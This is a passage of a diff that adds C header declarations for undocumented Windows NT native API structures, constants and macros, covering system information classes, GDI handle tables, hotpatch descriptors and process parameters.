OpcodeDSPrefix; + ULONG OpcodeFSPrefix; + ULONG OpcodeGSPrefix; + ULONG OpcodeOPER32Prefix; + ULONG OpcodeADDR32Prefix; + ULONG OpcodeINSB; + ULONG OpcodeINSW; + ULONG OpcodeOUTSB; + ULONG OpcodeOUTSW; + ULONG OpcodePUSHF; + ULONG OpcodePOPF; + ULONG OpcodeINTnn; + ULONG OpcodeINTO; + ULONG OpcodeIRET; + ULONG OpcodeINBimm; + ULONG OpcodeINWimm; + ULONG OpcodeOUTBimm; + ULONG OpcodeOUTWimm; + ULONG OpcodeINB; + ULONG OpcodeINW; + ULONG OpcodeOUTB; + ULONG OpcodeOUTW; + ULONG OpcodeLOCKPrefix; + ULONG OpcodeREPNEPrefix; + ULONG OpcodeREPPrefix; + ULONG OpcodeHLT; + ULONG OpcodeCLI; + ULONG OpcodeSTI; + ULONG BopCount; +} SYSTEM_VDM_INSTEMUL_INFO, *PSYSTEM_VDM_INSTEMUL_INFO; + +typedef struct _SYSTEM_TIMEOFDAY_INFORMATION +{ + LARGE_INTEGER BootTime; + LARGE_INTEGER CurrentTime; + LARGE_INTEGER TimeZoneBias; + ULONG TimeZoneId; + ULONG Reserved; + ULONGLONG BootTimeBias; + ULONGLONG SleepTimeBias; +} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; + +#if defined(_M_X64) +typedef ULONG SYSINF_PAGE_COUNT; +#else +typedef SIZE_T SYSINF_PAGE_COUNT; +#endif + +typedef struct _SYSTEM_BASIC_INFORMATION { + ULONG Reserved; + ULONG TimerResolution; + ULONG PageSize; + SYSINF_PAGE_COUNT NumberOfPhysicalPages; + SYSINF_PAGE_COUNT LowestPhysicalPageNumber; + SYSINF_PAGE_COUNT HighestPhysicalPageNumber; + ULONG AllocationGranularity; + ULONG_PTR MinimumUserModeAddress; + ULONG_PTR MaximumUserModeAddress; + ULONG_PTR ActiveProcessorsAffinityMask; + CCHAR NumberOfProcessors; +} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_INFORMATION { + USHORT ProcessorArchitecture; + USHORT ProcessorLevel; + USHORT ProcessorRevision; + USHORT Reserved; + ULONG ProcessorFeatureBits; +} SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER DpcTime; // Checked Build + LARGE_INTEGER InterruptTime; // Checked Build + ULONG InterruptCount; +} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_IDLE_INFORMATION { + ULONGLONG IdleTime; + ULONGLONG C1Time; + ULONGLONG C2Time; + ULONGLONG C3Time; + ULONG C1Transitions; + ULONG C2Transitions; + ULONG C3Transitions; + ULONG Padding; +} SYSTEM_PROCESSOR_IDLE_INFORMATION, *PSYSTEM_PROCESSOR_IDLE_INFORMATION; + +typedef struct _SYSTEM_NUMA_INFORMATION { + ULONG HighestNodeNumber; + ULONG Reserved; + union { + ULONG64 ActiveProcessorsAffinityMask[ 16 ]; + ULONG64 AvailableMemory[ 16 ]; + }; +} SYSTEM_NUMA_INFORMATION, *PSYSTEM_NUMA_INFORMATION; + +#if !defined(_WINNT_) + +typedef enum _LOGICAL_PROCESSOR_RELATIONSHIP +{ + RelationProcessorCore, + RelationNumaNode, + RelationCache, + RelationProcessorPackage +} LOGICAL_PROCESSOR_RELATIONSHIP; + +typedef enum _PROCESSOR_CACHE_TYPE +{ + CacheUnified, + CacheInstruction, + CacheData, + CacheTrace +} PROCESSOR_CACHE_TYPE; + +#define CACHE_FULLY_ASSOCIATIVE 0xFF + +typedef struct _CACHE_DESCRIPTOR +{ + BYTE Level; + BYTE Associativity; + WORD LineSize; + DWORD Size; + PROCESSOR_CACHE_TYPE Type; +} CACHE_DESCRIPTOR, *PCACHE_DESCRIPTOR; + +typedef struct _SYSTEM_LOGICAL_PROCESSOR_INFORMATION { + ULONG_PTR ProcessorMask; + LOGICAL_PROCESSOR_RELATIONSHIP Relationship; + union { + struct { + BYTE Flags; + } ProcessorCore; + struct { + DWORD NodeNumber; + } NumaNode; + CACHE_DESCRIPTOR Cache; + ULONGLONG Reserved[2]; + }; +} SYSTEM_LOGICAL_PROCESSOR_INFORMATION, *PSYSTEM_LOGICAL_PROCESSOR_INFORMATION; + +#define PROCESSOR_INTEL_386 386 +#define PROCESSOR_INTEL_486 486 +#define PROCESSOR_INTEL_PENTIUM 586 +#define PROCESSOR_INTEL_IA64 2200 +#define PROCESSOR_AMD_X8664 8664 +#define PROCESSOR_MIPS_R4000 4000 // incl R4101 & R3910 for Windows CE +#define PROCESSOR_ALPHA_21064 21064 +#define PROCESSOR_PPC_601 601 +#define PROCESSOR_PPC_603 603 +#define PROCESSOR_PPC_604 604 +#define PROCESSOR_PPC_620 620 +#define PROCESSOR_HITACHI_SH3 10003 // Windows CE +#define PROCESSOR_HITACHI_SH3E 10004 // Windows CE +#define PROCESSOR_HITACHI_SH4 10005 // Windows CE +#define PROCESSOR_MOTOROLA_821 821 // Windows CE +#define PROCESSOR_SHx_SH3 103 // Windows CE +#define PROCESSOR_SHx_SH4 104 // Windows CE +#define PROCESSOR_STRONGARM 2577 // Windows CE - 0xA11 +#define PROCESSOR_ARM720 1824 // Windows CE - 0x720 +#define PROCESSOR_ARM820 2080 // Windows CE - 0x820 +#define PROCESSOR_ARM920 2336 // Windows CE - 0x920 +#define PROCESSOR_ARM_7TDMI 70001 // Windows CE +#define PROCESSOR_OPTIL 0x494f // MSIL + +#define PROCESSOR_ARCHITECTURE_INTEL 0 +#define PROCESSOR_ARCHITECTURE_MIPS 1 +#define PROCESSOR_ARCHITECTURE_ALPHA 2 +#define PROCESSOR_ARCHITECTURE_PPC 3 +#define PROCESSOR_ARCHITECTURE_SHX 4 +#define PROCESSOR_ARCHITECTURE_ARM 5 +#define PROCESSOR_ARCHITECTURE_IA64 6 +#define PROCESSOR_ARCHITECTURE_ALPHA64 7 +#define PROCESSOR_ARCHITECTURE_MSIL 8 +#define PROCESSOR_ARCHITECTURE_AMD64 9 +#define PROCESSOR_ARCHITECTURE_IA32_ON_WIN64 10 + +#define PROCESSOR_ARCHITECTURE_UNKNOWN 0xFFFF + +#define PF_FLOATING_POINT_PRECISION_ERRATA 0 +#define PF_FLOATING_POINT_EMULATED 1 +#define PF_COMPARE_EXCHANGE_DOUBLE 2 +#define PF_MMX_INSTRUCTIONS_AVAILABLE 3 +#define PF_PPC_MOVEMEM_64BIT_OK 4 +#define PF_ALPHA_BYTE_INSTRUCTIONS 5 +#define PF_XMMI_INSTRUCTIONS_AVAILABLE 6 +#define PF_3DNOW_INSTRUCTIONS_AVAILABLE 7 +#define PF_RDTSC_INSTRUCTION_AVAILABLE 8 +#define PF_PAE_ENABLED 9 +#define PF_XMMI64_INSTRUCTIONS_AVAILABLE 10 +#define PF_SSE_DAZ_MODE_AVAILABLE 11 +#define PF_NX_ENABLED 12 +#define PF_SSE3_INSTRUCTIONS_AVAILABLE 13 +#define PF_COMPARE_EXCHANGE128 14 +#define PF_COMPARE64_EXCHANGE128 15 +#define PF_CHANNELS_ENABLED 16 + +typedef struct _MEMORY_BASIC_INFORMATION +{ + PVOID BaseAddress; + PVOID AllocationBase; + DWORD AllocationProtect; + SIZE_T RegionSize; + DWORD State; + DWORD Protect; + DWORD Type; +} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION; + +#endif /*_WINNT_*/ + +typedef struct _SYSTEM_PROCESSOR_POWER_INFORMATION { + UCHAR CurrentFrequency; + UCHAR ThermalLimitFrequency; + UCHAR ConstantThrottleFrequency; + UCHAR DegradedThrottleFrequency; + UCHAR LastBusyFrequency; + UCHAR LastC3Frequency; + UCHAR LastAdjustedBusyFrequency; + UCHAR ProcessorMinThrottle; + UCHAR ProcessorMaxThrottle; + ULONG NumberOfFrequencies; + ULONG PromotionCount; + ULONG DemotionCount; + ULONG ErrorCount; + ULONG RetryCount; + ULONG64 CurrentFrequencyTime; + ULONG64 CurrentProcessorTime; + ULONG64 CurrentProcessorIdleTime; + ULONG64 LastProcessorTime; + ULONG64 LastProcessorIdleTime; +} SYSTEM_PROCESSOR_POWER_INFORMATION, *PSYSTEM_PROCESSOR_POWER_INFORMATION; + +typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION { + ULONG TimeAdjustment; + ULONG TimeIncrement; + BOOLEAN Enable; +} SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION { + ULONG TimeAdjustment; + BOOLEAN Enable; +} SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleProcessTime; + LARGE_INTEGER IoReadTransferCount; + LARGE_INTEGER IoWriteTransferCount; + LARGE_INTEGER IoOtherTransferCount; + ULONG IoReadOperationCount; + ULONG IoWriteOperationCount; + ULONG IoOtherOperationCount; + ULONG AvailablePages; + SYSINF_PAGE_COUNT CommittedPages; + SYSINF_PAGE_COUNT CommitLimit; + SYSINF_PAGE_COUNT PeakCommitment; + ULONG PageFaultCount; + ULONG CopyOnWriteCount; + ULONG TransitionCount; + ULONG CacheTransitionCount; + ULONG DemandZeroCount; + ULONG PageReadCount; + ULONG PageReadIoCount; + ULONG CacheReadCount; + ULONG CacheIoCount; + ULONG DirtyPagesWriteCount; + ULONG DirtyWriteIoCount; + ULONG MappedPagesWriteCount; + ULONG MappedWriteIoCount; + ULONG PagedPoolPages; + ULONG NonPagedPoolPages; + ULONG PagedPoolAllocs; + ULONG PagedPoolFrees; + ULONG NonPagedPoolAllocs; + ULONG NonPagedPoolFrees; + ULONG FreeSystemPtes; + ULONG ResidentSystemCodePage; + ULONG TotalSystemDriverPages; + ULONG TotalSystemCodePages; + ULONG NonPagedPoolLookasideHits; + ULONG PagedPoolLookasideHits; + ULONG AvailablePagedPoolPages; + ULONG ResidentSystemCachePage; + ULONG ResidentPagedPoolPage; + ULONG ResidentSystemDriverPage; + ULONG CcFastReadNoWait; + ULONG CcFastReadWait; + ULONG CcFastReadResourceMiss; + ULONG CcFastReadNotPossible; + ULONG CcFastMdlReadNoWait; + ULONG CcFastMdlReadWait; + ULONG CcFastMdlReadResourceMiss; + ULONG CcFastMdlReadNotPossible; + ULONG CcMapDataNoWait; + ULONG CcMapDataWait; + ULONG CcMapDataNoWaitMiss; + ULONG CcMapDataWaitMiss; + ULONG CcPinMappedDataCount; + ULONG CcPinReadNoWait; + ULONG CcPinReadWait; + ULONG CcPinReadNoWaitMiss; + ULONG CcPinReadWaitMiss; + ULONG CcCopyReadNoWait; + ULONG CcCopyReadWait; + ULONG CcCopyReadNoWaitMiss; + ULONG CcCopyReadWaitMiss; + ULONG CcMdlReadNoWait; + ULONG CcMdlReadWait; + ULONG CcMdlReadNoWaitMiss; + ULONG CcMdlReadWaitMiss; + ULONG CcReadAheadIos; + ULONG CcLazyWriteIos; + ULONG CcLazyWritePages; + ULONG CcDataFlushes; + ULONG CcDataPages; + ULONG ContextSwitches; + ULONG FirstLevelTbFills; + ULONG SecondLevelTbFills; + ULONG SystemCalls; +} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION; + +typedef struct _SYSTEM_PROCESS_INFORMATION { + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PageDirectoryBase; + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; +} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; + +typedef struct _SYSTEM_SESSION_PROCESS_INFORMATION { + ULONG SessionId; + ULONG SizeOfBuf; + PVOID Buffer; +} SYSTEM_SESSION_PROCESS_INFORMATION, *PSYSTEM_SESSION_PROCESS_INFORMATION; + +typedef struct _SYSTEM_MEMORY_INFO { + PUCHAR StringOffset; + USHORT ValidCount; + USHORT TransitionCount; + USHORT ModifiedCount; + USHORT PageTableCount; +} SYSTEM_MEMORY_INFO, *PSYSTEM_MEMORY_INFO; + +typedef struct _SYSTEM_MEMORY_INFORMATION { + ULONG InfoSize; + ULONG_PTR StringStart; + SYSTEM_MEMORY_INFO Memory[ 1 ]; +} SYSTEM_MEMORY_INFORMATION, *PSYSTEM_MEMORY_INFORMATION; + +typedef struct _SYSTEM_CALL_COUNT_INFORMATION { + ULONG Length; + ULONG NumberOfTables; +} SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION; + +typedef struct _SYSTEM_DEVICE_INFORMATION { + ULONG NumberOfDisks; + ULONG NumberOfFloppies; + ULONG NumberOfCdRoms; + ULONG NumberOfTapes; + ULONG NumberOfSerialPorts; + ULONG NumberOfParallelPorts; +} SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION; + +typedef struct _SYSTEM_FLAGS_INFORMATION { + ULONG Flags; +} SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION; + +typedef struct _SYSTEM_CALL_TIME_INFORMATION { + ULONG Length; + ULONG TotalCalls; + LARGE_INTEGER TimeOfCalls[1]; +} SYSTEM_CALL_TIME_INFORMATION, *PSYSTEM_CALL_TIME_INFORMATION; + +typedef struct _SYSTEM_OBJECT_INFORMATION { + ULONG NextEntryOffset; + PVOID Object; + HANDLE CreatorUniqueProcess; + USHORT CreatorBackTraceIndex; + USHORT Flags; + LONG PointerCount; + LONG HandleCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + HANDLE ExclusiveProcessId; + PVOID SecurityDescriptor; + OBJECT_NAME_INFORMATION NameInfo; +} SYSTEM_OBJECT_INFORMATION, *PSYSTEM_OBJECT_INFORMATION; + +typedef struct _SYSTEM_PAGEFILE_INFORMATION { + ULONG NextEntryOffset; + ULONG TotalSize; + ULONG TotalInUse; + ULONG PeakUsage; + UNICODE_STRING PageFileName; +} SYSTEM_PAGEFILE_INFORMATION, *PSYSTEM_PAGEFILE_INFORMATION; + +typedef struct _SYSTEM_VERIFIER_INFORMATION { + ULONG NextEntryOffset; + ULONG Level; + UNICODE_STRING DriverName; + + ULONG RaiseIrqls; + ULONG AcquireSpinLocks; + ULONG SynchronizeExecutions; + ULONG AllocationsAttempted; + + ULONG AllocationsSucceeded; + ULONG AllocationsSucceededSpecialPool; + ULONG AllocationsWithNoTag; + ULONG TrimRequests; + + ULONG Trims; + ULONG AllocationsFailed; + ULONG AllocationsFailedDeliberately; + ULONG Loads; + + ULONG Unloads; + ULONG UnTrackedPool; + ULONG CurrentPagedPoolAllocations; + ULONG CurrentNonPagedPoolAllocations; + + ULONG PeakPagedPoolAllocations; + ULONG PeakNonPagedPoolAllocations; + + SIZE_T PagedPoolUsageInBytes; + SIZE_T NonPagedPoolUsageInBytes; + SIZE_T PeakPagedPoolUsageInBytes; + SIZE_T PeakNonPagedPoolUsageInBytes; + +} SYSTEM_VERIFIER_INFORMATION, *PSYSTEM_VERIFIER_INFORMATION; + +typedef struct _SYSTEM_VERIFIER_INFORMATION_EX +{ + ULONG VerifyMode; + ULONG OptionChanges; + UNICODE_STRING PreviousBucketName; + ULONG Reserved[ 4 ]; +} SYSTEM_VERIFIER_INFORMATION_EX, *PSYSTEM_VERIFIER_INFORMATION_EX; + +#define MM_WORKING_SET_MAX_HARD_ENABLE 0x1 +#define MM_WORKING_SET_MAX_HARD_DISABLE 0x2 +#define MM_WORKING_SET_MIN_HARD_ENABLE 0x4 +#define MM_WORKING_SET_MIN_HARD_DISABLE 0x8 + +typedef struct _SYSTEM_FILECACHE_INFORMATION { + SIZE_T CurrentSize; + SIZE_T PeakSize; + ULONG PageFaultCount; + SIZE_T MinimumWorkingSet; + SIZE_T MaximumWorkingSet; + SIZE_T CurrentSizeIncludingTransitionInPages; + SIZE_T PeakSizeIncludingTransitionInPages; + ULONG TransitionRePurposeCount; + ULONG Flags; +} SYSTEM_FILECACHE_INFORMATION, *PSYSTEM_FILECACHE_INFORMATION; + +#define FLG_HOTPATCH_KERNEL 0x80000000 +#define FLG_HOTPATCH_RELOAD_NTDLL 0x40000000 +#define FLG_HOTPATCH_NAME_INFO 0x20000000 +#define FLG_HOTPATCH_RENAME_INFO 0x10000000 +#define FLG_HOTPATCH_MAP_ATOMIC_SWAP 0x08000000 +#define FLG_HOTPATCH_WOW64 0x04000000 + +#define FLG_HOTPATCH_ACTIVE 0x00000001 +#define FLG_HOTPATCH_STATUS_FLAGS FLG_HOTPATCH_ACTIVE + +#define FLG_HOTPATCH_VERIFICATION_ERROR 0x00800000 + +typedef struct _HOTPATCH_HOOK_DESCRIPTOR +{ + ULONG_PTR TargetAddress; + PVOID MappedAddress; + ULONG CodeOffset; + ULONG CodeSize; + ULONG OrigCodeOffset; + ULONG ValidationOffset; + ULONG ValidationSize; +} HOTPATCH_HOOK_DESCRIPTOR, *PHOTPATCH_HOOK_DESCRIPTOR; + +typedef struct _SYSTEM_HOTPATCH_CODE_INFORMATION { + + ULONG Flags; + ULONG InfoSize; + + union + { + struct + { + ULONG DescriptorsCount; + HOTPATCH_HOOK_DESCRIPTOR CodeDescriptors[1]; // variable size structure + } CodeInfo; + + struct + { + USHORT NameOffset; + USHORT NameLength; + } KernelInfo; + + struct + { + USHORT NameOffset; + USHORT NameLength; + USHORT TargetNameOffset; + USHORT TargetNameLength; + } UserModeInfo; + + struct + { + HANDLE FileHandle1; + PIO_STATUS_BLOCK IoStatusBlock1; + PFILE_RENAME_INFORMATION RenameInformation1; + ULONG RenameInformationLength1; + HANDLE FileHandle2; + PIO_STATUS_BLOCK IoStatusBlock2; + PFILE_RENAME_INFORMATION RenameInformation2; + ULONG RenameInformationLength2; + } RenameInfo; + + struct + { + HANDLE ParentDirectory; + HANDLE ObjectHandle1; + HANDLE ObjectHandle2; + } AtomicSwap; + }; + +} SYSTEM_HOTPATCH_CODE_INFORMATION, *PSYSTEM_HOTPATCH_CODE_INFORMATION; + +typedef struct _KERNEL_USER_TIMES { + LARGE_INTEGER CreateTime; + LARGE_INTEGER ExitTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; +} KERNEL_USER_TIMES; +typedef KERNEL_USER_TIMES *PKERNEL_USER_TIMES; + +typedef enum _WATCHDOG_HANDLER_ACTION +{ + WdActionSetTimeoutValue, + WdActionQueryTimeoutValue, + WdActionResetTimer, + WdActionStopTimer, + WdActionStartTimer, + WdActionSetTriggerAction, + WdActionQueryTriggerAction, + WdActionQueryState, + WdActionSleep, + WdActionWake +} WATCHDOG_HANDLER_ACTION; + +typedef enum _WATCHDOG_INFORMATION_CLASS { + WdInfoTimeoutValue, + WdInfoResetTimer, + WdInfoStopTimer, + WdInfoStartTimer, + WdInfoTriggerAction, + WdInfoState +} WATCHDOG_INFORMATION_CLASS; + +typedef + NTSTATUS + (*PWD_HANDLER)( + IN WATCHDOG_HANDLER_ACTION Action, + IN PVOID Context, + IN OUT PULONG DataValue, + IN BOOLEAN NoLocks + ); + +typedef struct _SYSTEM_WATCHDOG_HANDLER_INFORMATION { + PWD_HANDLER WdHandler; + PVOID Context; +} SYSTEM_WATCHDOG_HANDLER_INFORMATION, *PSYSTEM_WATCHDOG_HANDLER_INFORMATION; + +#define WDSTATE_FIRED 0x00000001 +#define WDSTATE_HARDWARE_ENABLED 0x00000002 +#define WDSTATE_STARTED 0x00000004 +#define WDSTATE_HARDWARE_PRESENT 0x00000008 + +typedef struct _SYSTEM_WATCHDOG_TIMER_INFORMATION { + WATCHDOG_INFORMATION_CLASS WdInfoClass; + ULONG DataValue; +} SYSTEM_WATCHDOG_TIMER_INFORMATION, *PSYSTEM_WATCHDOG_TIMER_INFORMATION; + +#define GDI_MAX_HANDLE_COUNT 0x4000 + +#define GDI_HANDLE_INDEX_SHIFT 0 +#define GDI_HANDLE_INDEX_BITS 16 +#define GDI_HANDLE_INDEX_MASK 0xffff + +#define GDI_HANDLE_TYPE_SHIFT 16 +#define GDI_HANDLE_TYPE_BITS 5 +#define GDI_HANDLE_TYPE_MASK 0x1f + +#define GDI_HANDLE_ALTTYPE_SHIFT 21 +#define GDI_HANDLE_ALTTYPE_BITS 2 +#define GDI_HANDLE_ALTTYPE_MASK 0x3 + +#define GDI_HANDLE_STOCK_SHIFT 23 +#define GDI_HANDLE_STOCK_BITS 1 +#define GDI_HANDLE_STOCK_MASK 0x1 + +#define GDI_HANDLE_UNIQUE_SHIFT 24 +#define GDI_HANDLE_UNIQUE_BITS 8 +#define GDI_HANDLE_UNIQUE_MASK 0xff + +#define GDI_HANDLE_INDEX(Handle) ((ULONG)(Handle) & GDI_HANDLE_INDEX_MASK) +#define GDI_HANDLE_TYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_TYPE_SHIFT) & GDI_HANDLE_TYPE_MASK) +#define GDI_HANDLE_ALTTYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_ALTTYPE_SHIFT) & GDI_HANDLE_ALTTYPE_MASK) +#define GDI_HANDLE_STOCK(Handle) (((ULONG)(Handle) >> GDI_HANDLE_STOCK_SHIFT)) & GDI_HANDLE_STOCK_MASK) + +#define GDI_MAKE_HANDLE(Index, Unique) ((ULONG)(((ULONG)(Unique) << GDI_HANDLE_INDEX_BITS) | (ULONG)(Index))) + +// GDI server-side types + +#define GDI_DEF_TYPE 0 +#define GDI_DC_TYPE 1 +#define GDI_DD_DIRECTDRAW_TYPE 2 +#define GDI_DD_SURFACE_TYPE 3 +#define GDI_RGN_TYPE 4 +#define GDI_SURF_TYPE 5 +#define GDI_CLIENTOBJ_TYPE 6 +#define GDI_PATH_TYPE 7 +#define GDI_PAL_TYPE 8 +#define GDI_ICMLCS_TYPE 9 +#define GDI_LFONT_TYPE 10 +#define GDI_RFONT_TYPE 11 +#define GDI_PFE_TYPE 12 +#define GDI_PFT_TYPE 13 +#define GDI_ICMCXF_TYPE 14 +#define GDI_ICMDLL_TYPE 15 +#define GDI_BRUSH_TYPE 16 +#define GDI_PFF_TYPE 17 // unused +#define GDI_CACHE_TYPE 18 // unused +#define GDI_SPACE_TYPE 19 +#define GDI_DBRUSH_TYPE 20 // unused +#define GDI_META_TYPE 21 +#define GDI_EFSTATE_TYPE 22 +#define GDI_BMFD_TYPE 23 // unused +#define GDI_VTFD_TYPE 24 // unused +#define GDI_TTFD_TYPE 25 // unused +#define GDI_RC_TYPE 26 // unused +#define GDI_TEMP_TYPE 27 // unused +#define GDI_DRVOBJ_TYPE 28 +#define GDI_DCIOBJ_TYPE 29 // unused +#define GDI_SPOOL_TYPE 30 + +// GDI client-side types + +#define GDI_CLIENT_TYPE_FROM_HANDLE(Handle) ((ULONG)(Handle) & ((GDI_HANDLE_ALTTYPE_MASK << GDI_HANDLE_ALTTYPE_SHIFT) | \ + (GDI_HANDLE_TYPE_MASK << GDI_HANDLE_TYPE_SHIFT))) +#define GDI_CLIENT_TYPE_FROM_UNIQUE(Unique) GDI_CLIENT_TYPE_FROM_HANDLE((ULONG)(Unique) << 16) + +#define GDI_ALTTYPE_1 (1 << GDI_HANDLE_ALTTYPE_SHIFT) +#define GDI_ALTTYPE_2 (2 << GDI_HANDLE_ALTTYPE_SHIFT) +#define GDI_ALTTYPE_3 (3 << GDI_HANDLE_ALTTYPE_SHIFT) + +#define GDI_CLIENT_BITMAP_TYPE (GDI_SURF_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_BRUSH_TYPE (GDI_BRUSH_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_CLIENTOBJ_TYPE (GDI_CLIENTOBJ_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_DC_TYPE (GDI_DC_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_FONT_TYPE (GDI_LFONT_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_PALETTE_TYPE (GDI_PAL_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_REGION_TYPE (GDI_RGN_TYPE << GDI_HANDLE_TYPE_SHIFT) + +#define GDI_CLIENT_ALTDC_TYPE (GDI_CLIENT_DC_TYPE | GDI_ALTTYPE_1) +#define GDI_CLIENT_DIBSECTION_TYPE (GDI_CLIENT_BITMAP_TYPE | GDI_ALTTYPE_1) +#define GDI_CLIENT_EXTPEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_2) +#define GDI_CLIENT_METADC16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_3) +#define GDI_CLIENT_METAFILE_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_2) +#define GDI_CLIENT_METAFILE16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_1) +#define GDI_CLIENT_PEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_1) + +typedef struct _GDI_HANDLE_ENTRY +{ + union + { + PVOID Object; + PVOID NextFree; + }; + union + { + struct + { + USHORT ProcessId; + USHORT Lock : 1; + USHORT Count : 15; + }; + ULONG Value; + } Owner; + USHORT Unique; + UCHAR Type; + UCHAR Flags; + PVOID UserPointer; +} GDI_HANDLE_ENTRY, *PGDI_HANDLE_ENTRY; + +typedef struct _GDI_SHARED_MEMORY +{ + GDI_HANDLE_ENTRY Handles[GDI_MAX_HANDLE_COUNT]; +} GDI_SHARED_MEMORY, *PGDI_SHARED_MEMORY; + +#define FLS_MAXIMUM_AVAILABLE 128 +#define TLS_MINIMUM_AVAILABLE 64 +#define TLS_EXPANSION_SLOTS 1024 + +#define DOS_MAX_COMPONENT_LENGTH 255 +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; +} CURDIR, *PCURDIR; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + HANDLE ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +#define WOW64_SYSTEM_DIRECTORY "SysWOW64" +#define WOW64_SYSTEM_DIRECTORY_U L"SysWOW64" +#define WOW64_X86_TAG " (x86)" +#define WOW64_X86_TAG_U L" (x86)" + +typedef enum _WOW64_SHARED_INFORMATION +{ + SharedNtdll32LdrInitializeThunk = 0, + SharedNtdll32KiUserExceptionDispatcher = 1, + SharedNtdll32KiUserApcDispatcher = 2, + SharedNtdll32KiUserCallbackDispatcher = 3, + SharedNtdll32LdrHotPatchRoutine = 4, + SharedNtdll32ExpInterlockedPopEntrySListFault = 5, + SharedNtdll32ExpInterlockedPopEntrySListResume = 6, + SharedNtdll32ExpInterlockedPopEntrySListEnd = 7, + SharedNtdll32RtlUserThreadStart = 8, + SharedNtdll32pQueryProcessDebugInformationRemote = 9, + SharedNtdll32EtwpNotificationThread = 10, + SharedNtdll32BaseAddress = 11, + Wow64SharedPageEntriesCount = 12 +} WOW64_SHARED_INFORMATION; + +// 21.12.2011 